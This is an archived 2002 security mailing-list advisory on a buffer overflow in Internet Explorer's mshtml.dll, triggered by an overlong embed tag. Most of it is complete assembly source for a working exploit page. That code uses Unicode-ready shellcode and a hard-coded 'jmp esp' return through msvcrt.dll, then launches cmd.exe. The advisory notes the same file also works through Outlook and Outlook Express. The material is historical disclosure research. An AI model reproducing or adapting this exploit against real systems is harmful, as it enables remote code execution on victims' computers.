

[EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0018.html>

From: support@securiteam.com

Date: 03/04/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 4 Mar 2002 10:03:06 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

SUMMARY

The following additional details for our previous article:

<<http://www.securiteam.com/windowsntfocus/5XP0H1F6AG.html>> Buffer Overflow Found in MSHTML.DLL explain how to exploit a buffer overflow vulnerability in Internet Explorer, whose exploit code is converted into Unicode (The technique is simple and involves the use of an already Unicoded exploit code).

DETAILS

A security vulnerability has been discovered in Internet Explorer 5.5 and 6.0 where in some cases crash the program crashes upon receiving of an HTML Tag of the sorts of:

```
<embed src="filename.AAAAAAAAAA<lot of 'A's">">
```

(The EIP is overwritten by the address 0x41004100, a Unicode translation of the string AAAA...).

The buffer overflow occurs when Internet Explorer tries to concatenate the file extension to "Software\Microsoft\Internet

Explorer\EmbedExtnToClsidMappingOverride\" with wcsat().

There is another input validation bug in Internet Explorer, it fails to detect if a file has no extension. It fails since it first looks for dot, when found it treats everything after that dot as an extension. Therefore, it is possible to overflow an internally used buffer with a long filename whenever it has no extension.

Exploit code:

There are few problems for one who wants to create exploit:

1. All data is converted to Unicode, that is 'A' will be converted to 0x0041.
2. Address of shell code will be different depending on number of open Internet Explorer windows, Windows and Internet Explorer version and patches installed.
3. There are different offset of a saved EIP in the stack when the attacked Internet Explorer is versioned before and after IE5.5SP2.

One of the first Unicode overflows found in the wild was for the vulnerability in IIS ISAPI filter found by eEye (<http://eeeye.com/html/Research/Advisories/AD20010618.html>). They failed to make working exploit, saying exploiting of this kind of bug is hard. This bug was successfully exploited by hsj and later by authors of CodeRed worm. It brings us to the fact: EXPLOITATION OF UNICODE OVERFLOWS IS EASY. There is easy way to bypass conversion of the shell code to Unicode: it should be in Unicode already. It was a trick used by CodeRed (wonderful analysis of CodeRed was made by Andrey Kolishak in <http://www.security.nnov.ru/articles/codered/>). 3APA3A wrote about Unicode HTMLs in <http://www.security.nnov.ru/advisories/content.asp> Bypassing content filtering software (in fact, that article was released to prevent possible !

Andrey pointed to an easy (and well-known) way to avoid the second problem – hard cod your shell code address. Instead of overwriting saved EIP with an address of our shell code we can use indirect jump – first overwrite your EIP with the address of the instruction in memory space of some DLL which will jump back to our code via EBP or ESP (EBP should be used when exploiting format strings). We found a "jmp esp" (FFE4) in all versions of kernel32.dll and in one version of msvrt.dll (6.10.8924.0). This version of DLL does not depend on Internet Explorer and is present in most installation of Windows NT 4.0 and Windows 2000 that were checked (unfortunately it does not exist in Windows 95/98/ME/XP).

Third problem was solved by overwriting all possible EIPs, using a few noops and

```
call xxxx  
...
```

Securiteam: [EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

xxxx:

```
pop ebp
```

Combination to get the exact address of our shell code.

Since exploit is in Unicode we may do not care about '\0' (0x0000, 0xFFFF) are prohibited and we have to care about calls and far jumps) so, we created a large shell code with visual effects.

Resulting HTML (will work with msvcrt.dll 6.10.8924.0 and does not depend on mshtml.dll version, program used, and Windows version) can be obtained from <http://www.security.nnov.ru/files/iebo/matrix.htm> Same file (properly encoded to UTF-7, UTF-8, quoted-printable or base64) may be used to exploit Outlook Express/Outlook (We have just noticed that under Windows 2000, the terminal window sometimes is opened in background and you need to switch).

Below is source code for matrix.htm:

```
----- begin matrix.asm -----  
;  
; matrix.asm – source code for matrix.htm  
;  
; build:  
; tasm matrix.asm /m2  
; tlink matrix.obj, matrix.htm /t /3  
;  
; Authors:  
; ERROR: bug discovery  
; 3APA3A: idea and coding  
; OFFliner: matrix effects and undocumented Windows API  
;  
; Thanx to Andrey Kolishak for indirect esp jump idea  
;  
; you can obtain matrix screensaver from  
; http://www.security.nnov.ru/matrix  
;  
;  
; eipjmp: overwrites saved EIP for all versions of  
; mshtml.dll  
; espjmp: gets control after jmp esp and calls code1  
; code1: restores EIP from stack after call to ebp  
; does some actions and jumps to code2  
; code2: does the rest of actions  
  
datap equ (DataTable+080h)  
hKernel32 equ LoadL-datap  
cCur equ StringTable-datap  
SetCCH equ StringTable+4-datap  
GetSH equ StringTable+8-datap  
Sleep equ StringTable+12-datap  
WriteC equ StringTable+16-datap
```

Securiteam: [EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

```
AllocC equ StringTable+20-datap
SetCDM equ StringTable+24-datap
SetCTA equ StringTable+28-datap
SetCCI equ StringTable+32-datap
WinE equ StringTable+36-datap
ExitP equ StringTable+40-datap
```

```
hStdOut equ StringTable+48-datap
dwOldMode equ cCur
conCur equ StringTable+52-datap
cls equ StringTable+56-datap
DWNChar equ StringTable+60-datap
RegHK equ user-datap
```

386

```
_faked segment para public 'CODE' use32
    assume cs:_faked
start:
_faked ends
```

```
_main segment para public 'DATA' use32
    assume cs:_main
```

prefix:

```
begin db 0ffh,0feh ;Unicode prefix
db "<",0,"e",0,"m",0,"b",0,"e",0,"d",0,0dh,0
db "s",0,"r",0,"c",0,"=",0,34,0
db "h",0,"t",0,"t",0,"p",0,":",0,"/",0,"/",0
db "w",0,"w",0,"w",0,".",0
db "s",0,"e",0,"c",0,"u",0,"r",0,"i",0,"t",0,"y",0,".",0
db "n",0,"n",0,"o",0,"v",0,".",0,"r",0,"u",0
db "/",0,"f",0,"i",0,"l",0,"e",0,"s",0,"/",0
db "i",0,"e",0,"b",0,"o",0,"/",0,"X",0
db "(c)3APA3A"
db 22 dup(090h)
```

code1:

```
    pop ebp
    mov esp,ebx
    xor eax,eax
dataoffset = DataTable - code2
ebpdiff = 80h + dataoffset
    mov ax,ebpdiff
    add ebp,eax ;ebp points to data

    lea eax,[ebp+user-datap]
    push eax
    mov ebx,[ebp+LoadL-datap]
    mov eax,[ebx]
    mov [ebp+LoadL-datap],eax
    call eax ;LoadLibraryA("user32.dll")
    lea ebx,[ebp+reg-datap]
```

Securiteam: [EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

```
push ebx
push eax
mov ebx,[ebp+GetPA-datap]
mov eax,[ebx]
mov [ebp+GetPA-datap],eax
call eax ;GetProcAddress(,"RegisterHotKey")
mov [ebp+RegHK],eax
lea edi,[ebp+rhk-datap]
movzx esi,byte ptr[edi]
LoopHotkey:
inc edi
xor eax,eax
mov al,[edi]
push eax
inc edi
mov al,[edi]
push eax
inc edi
mov al,[edi]
push eax
xor eax,eax
push eax
call [ebp+RegHK]
dec esi
or esi,esi
jnz LoopHotKey

lea eax,[ebp+StringTable-datap] ;string "kernel32.dll"
push eax
call [ebp+LoadL-datap] ;LoadLibraryA("kernel32.dll")
mov [ebp+hKernel32],eax ;hKernel32 =

lea eax, [ebp+SetCCH]
mov [ebp+cCur],eax ;*cCur = SetCCH
lea edi,[ebp+funcnum-datap]
movzx esi,byte ptr[edi] ;esi=funcnum
inc edi
LoopResolve:
push edi
push dword ptr [ebp+hKernel32]
call [ebp+GetPA-datap] ;GetProcAddress(edi)
mov ebx,[ebp+cCur]
mov [ebx],eax ;save func address
xor ecx,ecx
mov cl,4
add ebx,ecx
mov [ebp+cCur],ebx ;cCur+=4
not ecx
xor eax,eax
repnz scasb ;find \0
dec esi
```

Securiteam: [EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

```
or esi,esi
jnz LoopResolve

call [ebp+AllocC] ;AllocConsole()
push eax ;nonzero if succeed
xor eax,eax
push eax
call [ebp+SetCCH] ;SetConsoleCtrlHandler(NULL,TRUE)
xor eax,eax
not eax
sub al,0Ah
push eax
call [ebp+GetSH] ;GetStdHandle(STD_OUTPUT_HANDLE)
mov [ebp+hStdOut],eax ;hStdOut=
lea eax,[ebp+dwOldMode]
push eax
xor ebx,ebx
inc ebx
push ebx
push dword ptr [ebp+hStdOut]
call [ebp+SetCDM] ;SetConsoleDisplayMode(hStdOut, 1, &dwOldMode)
xor ebx,ebx
mov bl,0Ah
push ebx
push dword ptr [ebp+hStdOut]
call [ebp+SetCTA]
;SetConsoleTextAttribute(hStdOut,FOREGROUND_INTENSITY|FOREGROUND_GREEN)
xor ebx,ebx
mov [ebp+ConCur+4],ebx ;ConCur.bVisible = 100
mov bl, 100
mov [ebp+ConCur],ebx ;ConCur.dwSize = 0
lea eax, [ebp+ConCur]
push eax
push dword ptr [ebp+hStdOut]
call [ebp+SetCCI] ;SetConsoleCursorInfo(hStdOut,&ConCur)
xor eax,eax
mov ax,1000
push eax
call[ebp+Sleep] ;Sleep(1000);
xor ebx,ebx
mov bl, string-datap
mov eax,ebp
add eax,ebx
mov [ebp+cCur],eax ;cCur = string
mov eax,ebp
mov bx,datap-empty_string
sub eax,ebx
mov [ebp+cls],eax ;set address of empty_string
LOOP1: ;do do
xor eax,eax
```

Securiteam: [EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

```
push eax
lea ebx,[ebp+DWNumChar]
push ebx
inc eax
push eax
mov eax,[ebp+cCur]
push eax
push dword ptr [ebp+hStdOut]
call [ebp+WriteC]
;WriteConsole(hStdOut,(void*)cCur,1,&DWNumChar,NULL);
xor eax,eax
mov al,100
mov ecx,[ebp+cCur]
mov bl,[ecx]
sub bl,20
jnz N1
mov ax,400
N1: mov bl,[ecx]
sub bl,8
jnz N2
mov ax,2100
N2: push eax
call [ebp+Sleep] ;Sleep((*cCur==' ')?400:(*cCur=='\b')?2100:100)
mov ecx,[ebp+cCur]
inc ecx
mov [ebp+cCur],ecx ;++cCur
mov bl,[ecx]
sub bl,9
jnz LOOP1 ;while(*cCur!='\t');
call [ebp+cls]
mov ecx,[ebp+cCur]
inc ecx
mov [ebp+cCur],ecx ;++cCur
mov bl,[ecx]
sub bl,00Ah
jnz LOOP1 ;while(*cCur!='\n');
inc ecx
xor eax,eax
push eax
lea ebx,[ebp+DWNumChar]
push ebx
mov al,18
push eax
push ecx
push dword ptr [ebp+hStdOut]
jmp code2
```

```
codelength = $ - begin
neednoops = 1d4h - codelength
db neednoops dup(090h)
```

eipjmp:

```
dd 78024e02h
dd 78024e02h
dd 78024e02h
dd 78024e02h
dw 9090h
dd 78024e02h ;EIP for IE < 55SP2
```

espjmp:

```
db 18 dup(090h)
xor eax,eax ;ESP comes here
mov ax,0170h
mov ebx,esp
sub ebx,eax
call ebx
```

code2:

```
call [ebp+WriteC]
xor eax,eax
mov ax,4000
push eax
call [ebp+Sleep]
call [ebp+cls]
lea eax,[ebp+cmdexe-datap]
push eax
push eax
call [ebp+WinE]
xor eax,eax
push eax
call [ebp+ExitP]
```

empty_string:

```
; some code can be pasted here
xor eax,eax
mov ax,1000
push eax
call [ebp+Sleep] ;Sleep(1000)
xor eax,eax
push eax
lea ebx,[ebp+DWNumChar]
push ebx
mov al,30
push eax
lea eax,[ebp+empty-datap]
push eax
push dword ptr [ebp+hStdOut]
call [ebp+WriteC]
ret
```

Securiteam: [EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

DataTable:

```
LoadL dd 780330d0h ;LoadLibraryA import table entry
GetPA dd 780330cch ;GetProcAddress import table entry
```

StringTable:

```
    db "kernel32.dll",0
funcnum db 10
    db "SetConsoleCtrlHandler",0
    db "GetStdHandle",0
    db "Sleep",0
    db "WriteConsoleA",0
    db "AllocConsole",0
    db "SetConsoleDisplayMode",0
    db "SetConsoleTextAttribute",0
    db "SetConsoleCursorInfo",0
    db "WinExec",0
    db "ExitProcess",0
user db "user32.dll",0
reg db "RegisterHotKey",0
cmdexe db "cmd.exe",0
rhk db 5
    db 9,1,100,01bh,1,101,13,1,102,05dh,8,103,3,2,104
empty db 00dh,28 dup(020h),00dh,0
string db 00dh," Wake Up, Neo...",00dh,009h,0
    db 00dh," The Matrix has you...",00dh,009h,0
    db 00dh," Follow the White Rabbit.",00dh,008h,009h,00ah,0
    db 00dh," Knock, knock...",00dh,0

padding db 32
suffix:
    db 34,0,">",0,00ah
copy db "(c) 2002 by 3APA3A, ERRor, OFFLiner"

_main ends
end start
----- end matrix.asm -----
```

ADDITIONAL INFORMATION

For more information, see:

<<http://www.security.nnov.ru/advisories/mshtml.asp>> dH & SECURITY.NNOV:
buffer overflow in mshtml.dll
<<http://www.microsoft.com/technet/security/bulletin/MS02-005.asp>>
Microsoft Security Bulletin MS02-005
<<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0022>>
CAN-2002-0022

Securiteam: [EXPL] Details and Exploitation of a Buffer Overflow in mshtml.dll (SRC)

<<http://www.cert.org/advisories/CA-2002-04.html>> CERT Advisory CA-2002-04
Buffer Overflow in Microsoft Internet Explorer
<<http://www.security.nnov.ru/search/document.asp?docid=2546>> ISS Alert:
Buffer Overflow in Microsoft Internet Explorer

=====
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[NT] BadBlue Directory Traversal Vulnerability (./ Removal)"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)